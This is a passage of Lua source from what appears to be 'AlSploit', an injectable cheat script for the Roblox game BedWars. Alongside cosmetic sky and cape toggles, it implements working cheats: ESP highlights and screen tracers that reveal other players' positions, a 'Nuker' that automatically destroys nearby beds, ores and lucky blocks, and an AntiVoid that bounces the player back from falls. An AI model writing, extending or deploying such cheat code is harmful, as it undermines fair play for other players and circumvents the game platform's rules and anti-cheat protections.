LightingService.WinterSky:Destroy()
end
end
end,
HoverText = "Makes Your Sky Look Like Winter ⛄"
})
UnInjectEvent.Event:Connect(function()
if ReplicatedStorageService:FindFirstChild("Sky") and LightingService:FindFirstChild("WinterSky") then
ReplicatedStorageService:FindFirstChild("Sky").Parent = LightingService
LightingService.WinterSky:Destroy()
end
end)
end)
task.spawn(function()
local GalaxySky = WorldTab:CreateToggle({
Name = "GalaxySky",
Function = function()
if AlSploitSettings.GalaxySky.Value == true then
if LightingService:FindFirstChild("Sky") then
LightingService.Sky.Parent = ReplicatedStorageService
local Sky = Instance.new("Sky")
local ID = 8281961896
Sky.SkyboxBk = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxDn = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxFt = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxLf = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxRt = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxUp = "http://www.roblox.com/asset/?id=" .. ID
Sky.Parent = LightingService
Sky.Name = "GalaxySky"
end
if LightingService:FindFirstChild("WinterSky") then
LightingService.WinterSky:Destroy()
local Sky = Instance.new("Sky")
local ID = 8281961896
Sky.SkyboxBk = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxDn = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxFt = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxLf = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxRt = "http://www.roblox.com/asset/?id=" .. ID
Sky.SkyboxUp = "http://www.roblox.com/asset/?id=" .. ID
Sky.Parent = LightingService
Sky.Name = "GalaxySky"
if WorkSpace:FindFirstChild("SnowPart") then
WorkSpace.SnowPart:Destroy()
end
if WorkSpace:FindFirstChild("Snow") then
WorkSpace.Snow:Destroy()
end
if WorkSpace:FindFirstChild("WindSnow") then
WorkSpace.WindSnow:Destroy()
end
end
end
if AlSploitSettings.GalaxySky.Value == false then
if ReplicatedStorageService:FindFirstChild("Sky") and LightingService:FindFirstChild("GalaxySky") then
ReplicatedStorageService.Sky.Parent = LightingService
LightingService.GalaxySky:Destroy()
end
end
end,
HoverText = "Makes Your Sky Look Like A Galaxy 🌌"
})
UnInjectEvent.Event:Connect(function()
if ReplicatedStorageService:FindFirstChild("Sky") and LightingService:FindFirstChild("GalaxySky") then
ReplicatedStorageService.Sky.Parent = LightingService
LightingService.GalaxySky:Destroy()
end
end)
end)
task.spawn(function()
task.spawn(function()
local AntiVoidPart
local AntiVoid = WorldTab:CreateToggle({
Name = "AntiVoid",
Function = function()
if AlSploitSettings.AntiVoid.Value == true then
repeat task.wait() until GetMatchState() ~= 0 or shared.AlSploitUnInjected == true or AlSploitSettings.AntiVoid.Value == false
if AlSploitSettings.AntiVoid.Value == true and shared.AlSploitUnInjected == false then
local OldLowestPosition = math.huge
local LowestPosition = 999999
local BlockRaycastParameters = RaycastParams.new()
BlockRaycastParameters.FilterDescendantsInstances = {CollectionServiceBlocks}
BlockRaycastParameters.FilterType = Enum.RaycastFilterType.Include
AntiVoidPart = Instance.new("Part")
AntiVoidPart.Parent = WorkSpace
AntiVoidPart.Name = "AntiVoidPart"
AntiVoidPart.Transparency = (AlSploitSettings.AntiVoid.Transparency.Value / 100)
AntiVoidPart.CanCollide = false
AntiVoidPart.Anchored = true
AntiVoidPart.Material = Enum.Material.Neon
AntiVoidPart.Position = Vector3.new(0, 99999, 0)
local ColorSplit = string.split(AlSploitSettings.AntiVoid.Color.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
AntiVoidPart.Color = Color3.new(R, G, B)
AntiVoidPart.Size = Vector3.new(99999, 1, 99999)
task.spawn(function()
for i, v in next, CollectionServiceBlocks do
local NewRay = WorkSpace:Raycast((v.Position + Vector3.new(0, 1000, 0)), Vector3.new(0, -1000, 0), BlockRaycastParameters)
if NewRay and NewRay.Position then
LowestPosition = NewRay.Position.Y
if LowestPosition <= OldLowestPosition then
OldLowestPosition = LowestPosition
AntiVoidPart.Position = Vector3.new(0, (LowestPosition - 4), 0)
end
end
end
end)
task.spawn(function()
AlSploitConnections["AntiVoidConnection"] = AntiVoidPart.Touched:Connect(function()
if IsAlive(LocalPlayer) and AntiVoidPart and LocalPlayer.Character.PrimaryPart.Position.Y <= WorkSpace.AntiVoidPart.Position.Y then
for i = 1, 3 do
if IsAlive(LocalPlayer) then
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(LocalPlayer.Character.PrimaryPart.Velocity.X, 100, LocalPlayer.Character.PrimaryPart.Velocity.Z)
end
end
end
end)
end)
end
end
if AlSploitSettings.AntiVoid.Value == false and AntiVoidPart then
AntiVoidPart:Destroy()
end
end,
HoverText = "Makes The Damage Indicator Cool 💨"
})
AntiVoid:CreateSlider({
Name = "Transparency",
Function = function()
if AlSploitSettings.AntiVoid.Value == true and AntiVoidPart then
AntiVoidPart.Transparency = (AlSploitSettings.AntiVoid.Transparency.Value / 100)
end
end,
MaximumValue = 100,
DefaultValue = 60
})
AntiVoid:CreateColorSlider({
Name = "Color",
Function = function()
if AlSploitSettings.AntiVoid.Value == true and AntiVoidPart then
local ColorSplit = string.split(AlSploitSettings.AntiVoid.Color.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
AntiVoidPart.Color = Color3.new(R, G, B)
end
end,
DefaultValue = Color3.new(0.282353, 0, 1)
})
UnInjectEvent.Event:Connect(function()
if AntiVoidPart then
AntiVoidPart:Destroy()
end
end)
end)
end)
task.spawn(function()
local function CreateTracer(Player)
if IsAlive(Player) == true and Drawing then
local CurrentCamera = Camera
local WorldToViewportPoint = CurrentCamera.WorldToViewportPoint
local Tracer = Drawing.new("Line")
Tracer.Transparency = 1
Tracer.Thickness = 1.5
Tracer.Visible = false
task.spawn(function()
repeat
task.wait()
if IsAlive(Player) and AlSploitSettings.Tracers.Value == true then
local Vector, OnScreen = Camera:WorldToViewportPoint(Player.Character.PrimaryPart.Position)
Tracer.From = Vector2.new(Camera.ViewportSize.X / 2, Camera.ViewportSize.Y)
Tracer.To = Vector2.new(Vector.X, Vector.Y)
if OnScreen == true then
Tracer.Visible = true
end
if OnScreen == false then
Tracer.Visible = false
end
task.spawn(function()
if AlSploitSettings.Tracers.ShowTeamates.Value == true and OnScreen == true then
if Player.Team == LocalPlayer.Team then
Tracer.Visible = true
end
end
if AlSploitSettings.Tracers.ShowTeamates.Value == false or OnScreen == false then
if Player.Team == LocalPlayer.Team then
Tracer.Visible = false
end
end
end)
task.spawn(function()
if AlSploitSettings.Tracers.ShowEnemies.Value == true and OnScreen == true then
if Player.Team ~= LocalPlayer.Team then
Tracer.Visible = true
end
end
if AlSploitSettings.Tracers.ShowEnemies.Value == false and OnScreen == false then
if Player.Team ~= LocalPlayer.Team then
Tracer.Visible = false
end
end
end)
task.spawn(function()
if AlSploitSettings.Tracers.UseTeamatesTeamColor.Value == true or AlSploitSettings.Tracers.UseEnemiesTeamColor.Value == true then
if AlSploitSettings.Tracers.UseTeamatesTeamColor.Value == true and Player.Team == LocalPlayer.Team then
Tracer.Color = Player.TeamColor.Color
end
if AlSploitSettings.Tracers.UseEnemiesTeamColor.Value == true and Player.Team ~= LocalPlayer.Team then
Tracer.Color = Player.TeamColor.Color
end
end
if AlSploitSettings.Tracers.UseTeamatesTeamColor.Value == false or AlSploitSettings.Tracers.UseEnemiesTeamColor.Value == false then
if Player.Team == LocalPlayer.Team then
local ColorSplit = string.split(AlSploitSettings.Tracers.TeamatesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
Tracer.Color = Color3.new(R, G, B)
end
if Player.Team ~= LocalPlayer.Team then
local ColorSplit = string.split(AlSploitSettings.Tracers.EnemiesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
Tracer.Color = Color3.new(R, G, B)
end
end
end)
end
until shared.AlSploitUnInjected == true or AlSploitSettings.Tracers.Value == false or not Player or IsAlive(Player) == false
Tracer:Remove()
end)
end
if not Drawing then
CreateNotification(3, "Tracers Not Supported")
end
end
local Tracers = WorldTab:CreateToggle({
Name = "Tracers",
Function = function()
task.spawn(function()
repeat task.wait() until GetMatchState() ~= 0 or AlSploitSettings.Tracers.Value == false or shared.AlSploitUnInjected == true
if AlSploitSettings.Tracers.Value == true and shared.AlSploitUnInjected == false then
for i, v in next, PlayerService:GetPlayers() do
if IsAlive(v) == true and v ~= LocalPlayer then
CreateTracer(v)
end
AlSploitConnections["TracersConnection"] = v.CharacterAdded:Connect(function(Character)
repeat task.wait() until AlSploitSettings.Tracers.Value == false or shared.AlSploitUnInjected == true or IsAlive(PlayerService:FindFirstChild(Character.Name)) == true
if AlSploitSettings.Tracers.Value == true and shared.AlSploitUnInjected == false and IsAlive(PlayerService:FindFirstChild(Character.Name)) == true and v ~= LocalPlayer then
CreateTracer(v)
end
end)
end
end
end)
end,
HoverText = "Esp But With Tracers 📜"
})
Tracers:CreateToggle({
Name = "UseTeamatesTeamColor",
Function = function() end,
DefaultValue = false
})
Tracers:CreateToggle({
Name = "UseEnemiesTeamColor",
Function = function() end,
DefaultValue = false
})
Tracers:CreateToggle({
Name = "ShowTeamates",
Function = function() end,
DefaultValue = true
})
Tracers:CreateToggle({
Name = "ShowEnemies",
Function = function() end,
DefaultValue = true
})
Tracers:CreateColorSlider({
Name = "TeamatesColor",
Function = function() end,
DefaultValue = Color3.new(0.27451, 0.054902, 1)
})
Tracers:CreateColorSlider({
Name = "EnemiesColor",
Function = function() end,
DefaultValue = Color3.new(1, 0, 0)
})
end)
task.spawn(function()
local TargetBlockFound = false
local function Nuke()
task.spawn(function()
if GetMatchState() ~= 0 and IsAlive(LocalPlayer) == true then
local NearestBed = FindNearestBed(true, AlSploitSettings.Nuker.Range.Value)
local NearestLuckyBlock
local NearestOre
if AlSploitSettings.Nuker.MineLuckyBlocks.Value == true then
NearestLuckyBlock = FindNearestLuckyBlock(AlSploitSettings.Nuker.Range.Value)
end
if AlSploitSettings.Nuker.MineOres.Value == true then
NearestOre = FindNearestOre(AlSploitSettings.Nuker.Range.Value)
end
if NearestBed or NearestLuckyBlock or NearestOre then
TargetBlockFound = (NearestBed or NearestLuckyBlock or NearestOre)
end
if NearestBed then
local NukerRaycastParameters = RaycastParams.new()
local TargetBlock = nil
NukerRaycastParameters.FilterType = Enum.RaycastFilterType.Exclude
NukerRaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
NukerRaycastParameters.IgnoreWater = true
local RaycastResult = WorkSpace:Raycast(NearestBed.Position + Vector3.new(0, 30, 0), Vector3.new(0, -35, 0), NukerRaycastParameters)
if RaycastResult then
if RaycastResult.Instance then
TargetBlock = RaycastResult.Instance
end
if TargetBlock then
DamageBlock(TargetBlock.Position, true)
DamageBlock(TargetBlock.Position, false)
else
DamageBlock(NearestBed.Position, true)
DamageBlock(NearestBed.Position, false)
end
end
end
if not NearestBed then
TargetBlockFound = nil
if NearestLuckyBlock then
DamageBlock(NearestLuckyBlock.Position, true)
DamageBlock(NearestLuckyBlock.Position, false)
end
if NearestOre then
DamageBlock(NearestOre.Position, true)
DamageBlock(NearestOre.Position, false)
end
end
end
end)
end
local Nuker = WorldTab:CreateToggle({
Name = "Nuker",
Function = function()
task.spawn(function()
repeat
task.wait(0.5)
Nuke()
until AlSploitSettings.Nuker.Value == false or shared.AlSploitUnInjected == true
end)
task.spawn(function()
repeat
task.wait()
if AlSploitSettings.Nuker.MiningAnimation.Value == true and TargetBlockFound and IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 and BedwarsKnitControllers.ViewModelController then
local NearestEntity = FindNearestEntity(AlSploitSettings.Killaura.Range.Value)
local I, Value = Camera:WorldToScreenPoint(TargetBlockFound.Position)
if Value == true and not NearestEntity then
BedwarsKnitControllers.ViewModelController:playAnimation(15)
task.wait(0.2)
end
end
until AlSploitSettings.Nuker.Value == false or shared.AlSploitUnInjected == true
end)
end,
HoverText = "Automatically Breaks Blocks 💣"
})
Nuker:CreateToggle({
Name = "MiningAnimation",
Function = function() end,
DefaultValue = true
})
Nuker:CreateToggle({
Name = "MineLuckyBlocks",
Function = function() end,
DefaultValue = true
})
Nuker:CreateToggle({
Name = "MineOres",
Function = function() end,
DefaultValue = true
})
Nuker:CreateSlider({
Name = "Range",
Function = function() end,
MaximumValue = 30,
DefaultValue = 30
})
end)
task.spawn(function()
local HalloweenCapeId = "rbxassetid://74330263398056"
local HalloweenCape
local function CreateCape(DecalId)
local Cape = Instance.new("Part")
Cape.Parent = LocalPlayer.Character
Cape.Name = "Cape"
Cape.CanCollide = false
Cape.Material = Enum.Material.SmoothPlastic
Cape.Color = Color3.new(0.105882, 0.105882, 0.105882)
Cape.Size = Vector3.new(0.2, 0.2, 0.08)
local BlockMesh = Instance.new("BlockMesh")
BlockMesh.Parent = Cape
BlockMesh.Name = "Mesh"
BlockMesh.VertexColor = Vector3.new(1, 1, 1)
BlockMesh.Scale = Vector3.new(9, 17.5, 0.5)
local Motor = Instance.new("Motor")
Motor.Parent = Cape
Motor.Name = "Motor"
Motor.CurrentAngle = -0.16208772361278534
Motor.DesiredAngle = -0.1002269834280014
Motor.Part1 = LocalPlayer.Character.UpperTorso
Motor.Part0 = Cape
Motor.C0 = CFrame.new(0, 2, 0, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
Motor.C1 = CFrame.new(0, 1, 0.449999988, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
local Decal = Instance.new("Decal")
Decal.Parent = Cape
Decal.Name = "Decal"
Decal.Texture = DecalId
Decal.Face = Enum.NormalId.Back
return Motor
end
local function IsMoving()
local Position = LocalPlayer.Character.PrimaryPart.Position
task.wait(0.001)
if IsAlive(LocalPlayer) and LocalPlayer.Character.PrimaryPart.Position ~= Position then
Position = LocalPlayer.Character.PrimaryPart.Position
return true
end
if IsAlive(LocalPlayer) and LocalPlayer.Character.PrimaryPart.Position == Position then
Position = LocalPlayer.Character.PrimaryPart.Position
return false
end
end
local Cape = WorldTab:CreateToggle({
Name = "Cape",
Function = function()
if AlSploitSettings.Cape.Value == true and IsAlive(LocalPlayer) then
HalloweenCape = CreateCape(HalloweenCapeId)
end
if AlSploitSettings.Cape.Value == false then
if HalloweenCape then
HalloweenCape.Parent:Destroy()
HalloweenCape = nil
end
end
end,
HoverText = "Spooky Cape 👻"
})
task.spawn(function()
repeat
task.wait()
if HalloweenCape and IsAlive(LocalPlayer) == true then
local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
local CapeTween = TweenService:Create(HalloweenCape, TweenInformation, {CurrentAngle = (IsMoving() == true and -(GetSpeed() / (GetSpeed() * 1.7)) or -0.2)})
CapeTween:Play()
end
until shared.AlSploitUnInjected == true or AlSploitSettings.Cape.Value == false
if HalloweenCape then
HalloweenCape.Parent:Destroy()
HalloweenCape = nil
end
end)
AlSploitConnections["CapeConnection"] = LocalPlayer.CharacterAdded:Connect(function()
repeat task.wait() until IsAlive(LocalPlayer) == true
task.wait(0.3)
if AlSploitSettings.Cape.Value == true then
HalloweenCape = CreateCape(HalloweenCapeId)
end
end)
end)
task.spawn(function()
local Esp = WorldTab:CreateToggle({
Name = "Esp",
Function = function()
repeat task.wait() until GetMatchState() ~= 0 or AlSploitSettings.Esp.Value == false
for i, v in next, PlayerService:GetPlayers() do
if v ~= LocalPlayer then
if AlSploitSettings.Esp.Value == true and shared.AlSploitUnInjected == false then
if IsAlive(v) == true then
if AlSploitSettings.Esp.UseHighlight.Value == true then
if AlSploitSettings.Esp.ShowTeamates.Value == true and v.Team.TeamColor and v.Team.TeamColor == LocalPlayer.Team.TeamColor then
local Highlight = Instance.new("Highlight")
Highlight.Parent = v.Character
Highlight.Name = "Highlight"
Highlight.OutlineTransparency = 1
Highlight.FillTransparency = 0.5
if AlSploitSettings.Esp.UseTeamatesColor.Value == true then
Highlight.FillColor = v.TeamColor.Color
end
if AlSploitSettings.Esp.UseTeamatesColor.Value == false then
local ColorSplit = string.split(AlSploitSettings.Esp.TeamatesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
Highlight.FillColor = Color3.new(R, G, B)
end
end
if AlSploitSettings.Esp.ShowEnemies.Value == true and v.Team.TeamColor ~= LocalPlayer.Team.TeamColor then
local Highlight = Instance.new("Highlight")
Highlight.Parent = v.Character
Highlight.Name = "Highlight"
Highlight.OutlineTransparency = 1
Highlight.FillTransparency = 0.5
if AlSploitSettings.UseEnemiesColor.Value == true then
Highlight.FillColor = v.TeamColor.Color
end
if AlSploitSettings.UseEnemiesColor.Value == false then
local ColorSplit = string.split(AlSploitSettings.Esp.EnemiesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
Highlight.FillColor = Color3.new(R, G, B)
end
end
end
if AlSploitSettings.Esp.UseHighlight.Value == false then
if AlSploitSettings.Esp.ShowTeamates.Value == true and v.Team and v.Team.TeamColor == LocalPlayer.Team.TeamColor then
local BillBoardGui = Instance.new("BillboardGui")
local Frame = Instance.new("Frame")
local UIStroke = Instance.new("UIStroke")
BillBoardGui.Parent = v.Character.PrimaryPart
BillBoardGui.Name = "Esp"
BillBoardGui.AlwaysOnTop = true
BillBoardGui.Size = UDim2.new(4, 0, 4, 0)
Frame.Parent = BillBoardGui
Frame.Name = "Frame"
Frame.BackgroundTransparency = 1
Frame.Position = UDim2.new(0, 0, (v.Character.LowerTorso and (-v.Character.LowerTorso.Size.Y / 2) or (-v.PrimaryPart.Size.Y / 2)), 0)
Frame.Size = UDim2.new(1, 0, 1.5, 0)
UIStroke.Parent = Frame
UIStroke.Name = "Frame"
UIStroke.Transparency = 0
UIStroke.Thickness = 1.5
if AlSploitSettings.Esp.UseTeamatesColor.Value == true then
UIStroke.Color = v.TeamColor.Color
end
if AlSploitSettings.Esp.UseTeamatesColor.Value == false then
local ColorSplit = string.split(AlSploitSettings.Esp.TeamatesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
UIStroke.Color = Color3.new(R, G, B)
end
end
if AlSploitSettings.Esp.ShowEnemies.Value == true and v.Team and v.Team.TeamColor ~= LocalPlayer.Team.TeamColor then
local BillBoardGui = Instance.new("BillboardGui")
local Frame = Instance.new("Frame")
local UIStroke = Instance.new("UIStroke")
BillBoardGui.Parent = v.Character.PrimaryPart
BillBoardGui.Name = "Esp"
BillBoardGui.AlwaysOnTop = true
BillBoardGui.Size = UDim2.new(4, 0, 4, 0)
Frame.Parent = BillBoardGui
Frame.Name = "Frame"
Frame.BackgroundTransparency = 1
Frame.Position = UDim2.new(0, 0, (v.Character.LowerTorso and (-v.Character.LowerTorso.Size.Y / 2) or (-v.PrimaryPart.Size.Y / 2)), 0)
Frame.Size = UDim2.new(1, 0, 1.5, 0)
UIStroke.Parent = Frame
UIStroke.Name = "Frame"
UIStroke.Transparency = 0
UIStroke.Thickness = 1.5
if AlSploitSettings.Esp.UseEnemiesColor.Value == true then
UIStroke.Color = v.TeamColor.Color
end
if AlSploitSettings.Esp.UseEnemiesColor.Value == false then
local ColorSplit = string.split(AlSploitSettings.Esp.EnemiesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
UIStroke.Color = Color3.new(R, G, B)
end
end
end
end
end
end
end
if AlSploitSettings.Esp.Value == false then
for i, v in next, PlayerService:GetPlayers() do
if IsAlive(v) == true and v.Character.PrimaryPart:FindFirstChild("Esp") then
v.Character.PrimaryPart:FindFirstChild("Esp"):Destroy()
end
if IsAlive(v) == true and v.Character:FindFirstChild("Highlight") then
v.Character:FindFirstChild("Highlight"):Destroy()
end
end
end
end,
HoverText = "Shows Where The Selected Players Are 🕶️"
})
Esp:CreateToggle({
Name = "UseTeamatesColor",
Function = function() end,
DefaultValue = false
})
Esp:CreateToggle({
Name = "UseEnemiesColor",
Function = function() end,
DefaultValue = false
})
Esp:CreateToggle({
Name = "UseHighlight",
Function = function() end,
DefaultValue = false
})
Esp:CreateToggle({
Name = "ShowTeamates",
Function = function() end,
DefaultValue = true
})
Esp:CreateToggle({
Name = "ShowEnemies",
Function = function() end,
DefaultValue = true
})
Esp:CreateColorSlider({
Name = "TeamatesColor",
Function = function() end,
DefaultValue = Color3.new(0.27451, 0.054902, 1)
})
Esp:CreateColorSlider({
Name = "EnemiesColor",
Function = function() end,
DefaultValue = Color3.new(1, 0, 0)
})
repeat task.wait() until GetMatchState() ~= 0
for i, v in next, PlayerService:GetPlayers() do
if v ~= LocalPlayer then
AlSploitConnections["Esp"] = v.CharacterAdded:Connect(function()
repeat task.wait() until IsAlive(v)
if AlSploitSettings.Esp.Value == true and shared.AlSploitUnInjected == false then
if AlSploitSettings.Esp.UseHighlight.Value == true then
if AlSploitSettings.Esp.ShowTeamates.Value == true and v.Team and v.Team.TeamColor == LocalPlayer.Team.TeamColor then
local Highlight = Instance.new("Highlight")
Highlight.Parent = v.Character
Highlight.Name = "Highlight"
Highlight.OutlineTransparency = 1
Highlight.FillTransparency = 0.5
if AlSploitSettings.UseTeamatesColor.Value == true then
Highlight.FillColor = v.TeamColor.Color
end
if AlSploitSettings.UseTeamatesColor.Value == false then
local ColorSplit = string.split(AlSploitSettings.Esp.TeamatesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
Highlight.FillColor = Color3.new(R, G, B)
end
end
if AlSploitSettings.Esp.ShowEnemies.Value == true and v.Team.TeamColor ~= LocalPlayer.Team.TeamColor then
local Highlight = Instance.new("Highlight")
Highlight.Parent = v.Character
Highlight.Name = "Highlight"
Highlight.OutlineTransparency = 1
Highlight.FillTransparency = 0.5
if AlSploitSettings.UseEnemiesColor.Value == true then
Highlight.FillColor = v.TeamColor.Color
end
if AlSploitSettings.UseEnemiesColor.Value == false then
local ColorSplit = string.split(AlSploitSettings.Esp.EnemiesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
Highlight.FillColor = Color3.new(R, G, B)
end
end
end
if AlSploitSettings.Esp.UseHighlight.Value == false then
if AlSploitSettings.Esp.ShowTeamates.Value == true and v.Team and v.Team.TeamColor == LocalPlayer.Team.TeamColor then
local BillBoardGui = Instance.new("BillboardGui")
local Frame = Instance.new("Frame")
local UIStroke = Instance.new("UIStroke")
BillBoardGui.Parent = v.Character.PrimaryPart
BillBoardGui.Name = "Esp"
BillBoardGui.AlwaysOnTop = true
BillBoardGui.Size = UDim2.new(4, 0, 4, 0)
Frame.Parent = BillBoardGui
Frame.Name = "Frame"
Frame.BackgroundTransparency = 1
Frame.Position = UDim2.new(0, 0, (v.Character.LowerTorso and (-v.Character.LowerTorso.Size.Y / 2) or (-v.Character.PrimaryPart.Size.Y / 2)), 0)
Frame.Size = UDim2.new(1, 0, 1.5, 0)
UIStroke.Parent = Frame
UIStroke.Name = "Frame"
UIStroke.Transparency = 0
UIStroke.Thickness = 1.5
if AlSploitSettings.Esp.UseTeamatesColor.Value == true then
UIStroke.Color = v.TeamColor.Color
end
if AlSploitSettings.Esp.UseTeamatesColor.Value == false then
local ColorSplit = string.split(AlSploitSettings.Esp.TeamatesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
UIStroke.Color = Color3.new(R, G, B)
end
end
if AlSploitSettings.Esp.ShowEnemies.Value == true and v.Team.TeamColor ~= LocalPlayer.Team.TeamColor then
local BillBoardGui = Instance.new("BillboardGui")
local Frame = Instance.new("Frame")
local UIStroke = Instance.new("UIStroke")
BillBoardGui.Parent = v.Character.PrimaryPart
BillBoardGui.Name = "Esp"
BillBoardGui.AlwaysOnTop = true
BillBoardGui.Size = UDim2.new(4, 0, 4, 0)
Frame.Parent = BillBoardGui
Frame.Name = "Frame"
Frame.BackgroundTransparency = 1
Frame.Position = UDim2.new(0, 0, (v.Character.LowerTorso and (-v.Character.LowerTorso.Size.Y / 2) or (-v.Character.PrimaryPart.Size.Y / 2)), 0)
Frame.Size = UDim2.new(1, 0, 1.5, 0)
UIStroke.Parent = Frame
UIStroke.Name = "Frame"
UIStroke.Transparency = 0
UIStroke.Thickness = 1.5
if AlSploitSettings.Esp.UseEnemiesColor.Value == true then
UIStroke.Color = v.TeamColor.Color
end
if AlSploitSettings.Esp.UseEnemiesColor.Value == false then
local ColorSplit = string.split(AlSploitSettings.Esp.EnemiesColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
UIStroke.Color = Color3.new(R, G, B)
end
end
end
end
end)
end
end
UnInjectEvent.Event:Connect(function()
for i, v in next, PlayerService:GetPlayers() do
if IsAlive(v) == true and v.Character.PrimaryPart:FindFirstChild("Esp") then
v.Character.PrimaryPart:FindFirstChild("Esp"):Destroy()
end
if IsAlive(v) == true and v.Character:FindFirstChild("Highlight") then
v.Character:FindFirstChild("Highlight"):Destroy()
end
end
end)
end)
task.spawn(function()
local CoordinatesDisplayUI = CreateCoordinatesDisplay()
local CoordinatesDisplay = OtherTab:CreateToggle({
Name = "CoordinatesDisplay",
Function = function()
if AlSploitSettings.CoordinatesDisplay.Value == true then
CoordinatesDisplayUI.TextTransparency = 0
task.spawn(function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true then
CoordinatesDisplayUI.Text = "XYZ: (" .. math.round(LocalPlayer.Character.PrimaryPart.Position.X) .. ", " .. math.round(LocalPlayer.Character.PrimaryPart.Position.Y) .. ", " .. math.round(LocalPlayer.Character.PrimaryPart.Position.Z) .. ")"
end
if IsAlive(LocalPlayer) == false then
CoordinatesDisplayUI.Text = "XYZ: (Nan, Nan, Nan)"
end
until AlSploitSettings.CoordinatesDisplay.Value == false or shared.AlSploitUnInjected == true
end)
end
if AlSploitSettings.CoordinatesDisplay.Value == false then
CoordinatesDisplayUI.TextTransparency = 1
end
end,
HoverText = "Displays your coordinates 🦒"
})
UnInjectEvent.Event:Connect(function()
CoordinatesDisplayUI:Destroy()
end)
end)
task.spawn(function()
local ChangeGuiColor = OtherTab:CreateToggle({
Name = "ChangeGuiColor",
Function = function()
if AlSploitSettings.ChangeGuiColor.Value == true then
local ColorSplit = string.split(AlSploitSettings.ChangeGuiColor.ToggleColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
CurrentAlSploitToggleColor = Color3.new(R, G, B)
ChangeGuiToggleColorEvent:Fire()
local ColorSplit2 = string.split(AlSploitSettings.ChangeGuiColor.TitleColor.Value, ",")
local R = ColorSplit2[1]
local G = ColorSplit2[2]
local B = ColorSplit2[3]
CurrentAlSploitTitleColor = Color3.new(R, G, B)
ChangeGuiTitleColorEvent:Fire()
end
if AlSploitSettings.ChangeGuiColor.Value == false then
CurrentAlSploitToggleColor = Color3.new(0.439216, 0.0666667, 1)
ChangeGuiToggleColorEvent:Fire()
CurrentAlSploitTitleColor = Color3.new(0.439216, 0.0666667, 1)
ChangeGuiTitleColorEvent:Fire()
end
end,
HoverText = "Changes The Color Of AlSploit's Gui 🌈"
})
ChangeGuiColor:CreateColorSlider({
Name = "ToggleColor",
Function = function()
if AlSploitSettings.ChangeGuiColor.Value == true then
local ColorSplit = string.split(AlSploitSettings.ChangeGuiColor.ToggleColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
CurrentAlSploitToggleColor = Color3.new(R, G, B)
ChangeGuiToggleColorEvent:Fire()
end
end,
DefaultValue = Color3.new(0.439216, 0.0666667, 1)
})
ChangeGuiColor:CreateColorSlider({
Name = "TitleColor",
Function = function()
if AlSploitSettings.ChangeGuiColor.Value == true then
local ColorSplit = string.split(AlSploitSettings.ChangeGuiColor.TitleColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
CurrentAlSploitTitleColor = Color3.new(R, G, B)
ChangeGuiTitleColorEvent:Fire()
end
end,
DefaultValue = Color3.new(0.439216, 0.0666667, 1)
})
end)
task.spawn(function()
local RestartAlSploit = OtherTab:CreateToggle({
Name = "RestartAlSploit",
Function = function()
if AlSploitSettings.RestartAlSploit.Value == true then
AlSploitSettings.RestartAlSploit.Value = false
UnInjectEvent:Fire()
if DeleteFile then
DeleteFile("AlSploitConfiguration.json")
end
end
end,
HoverText = "Restarts AlSploit ♻️"
})
end)
task.spawn(function()
local AirtimeDisplayUI = CreateAirtimeDisplay()
local AirtimeDisplay = OtherTab:CreateToggle({
Name = "AirtimeDisplay",
Function = function()
if AlSploitSettings.AirtimeDisplay.Value == true then
AirtimeDisplayUI.TextTransparency = 0
local TimeInAir = tick()
task.spawn(function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true then
if IsTouchingGround(LocalPlayer) == true then
TimeInAir = tick()
end
end
if IsAlive(LocalPlayer) == false then
TimeInAir = tick()
end
AirtimeDisplayUI.Text = "Airtime: " .. DecimalRound(tick() - TimeInAir, 1)
until AlSploitSettings.AirtimeDisplay.Value == false or shared.AlSploitUnInjected == true
end)
end
if AlSploitSettings.AirtimeDisplay.Value == false then
AirtimeDisplayUI.TextTransparency = 1
end
end,
HoverText = "Displays Your Airtime (2.5 Seconds Results In A Lagback) 🛩"
})
UnInjectEvent.Event:Connect(function()
AirtimeDisplayUI:Destroy()
end)
end)
task.spawn(function()
local SpeedDisplayUI = CreateSpeedDisplay()
local DeltaTime = 0.15
local SpeedDisplay = OtherTab:CreateToggle({
Name = "SpeedDisplay",
Function = function()
if AlSploitSettings.SpeedDisplay.Value == true then
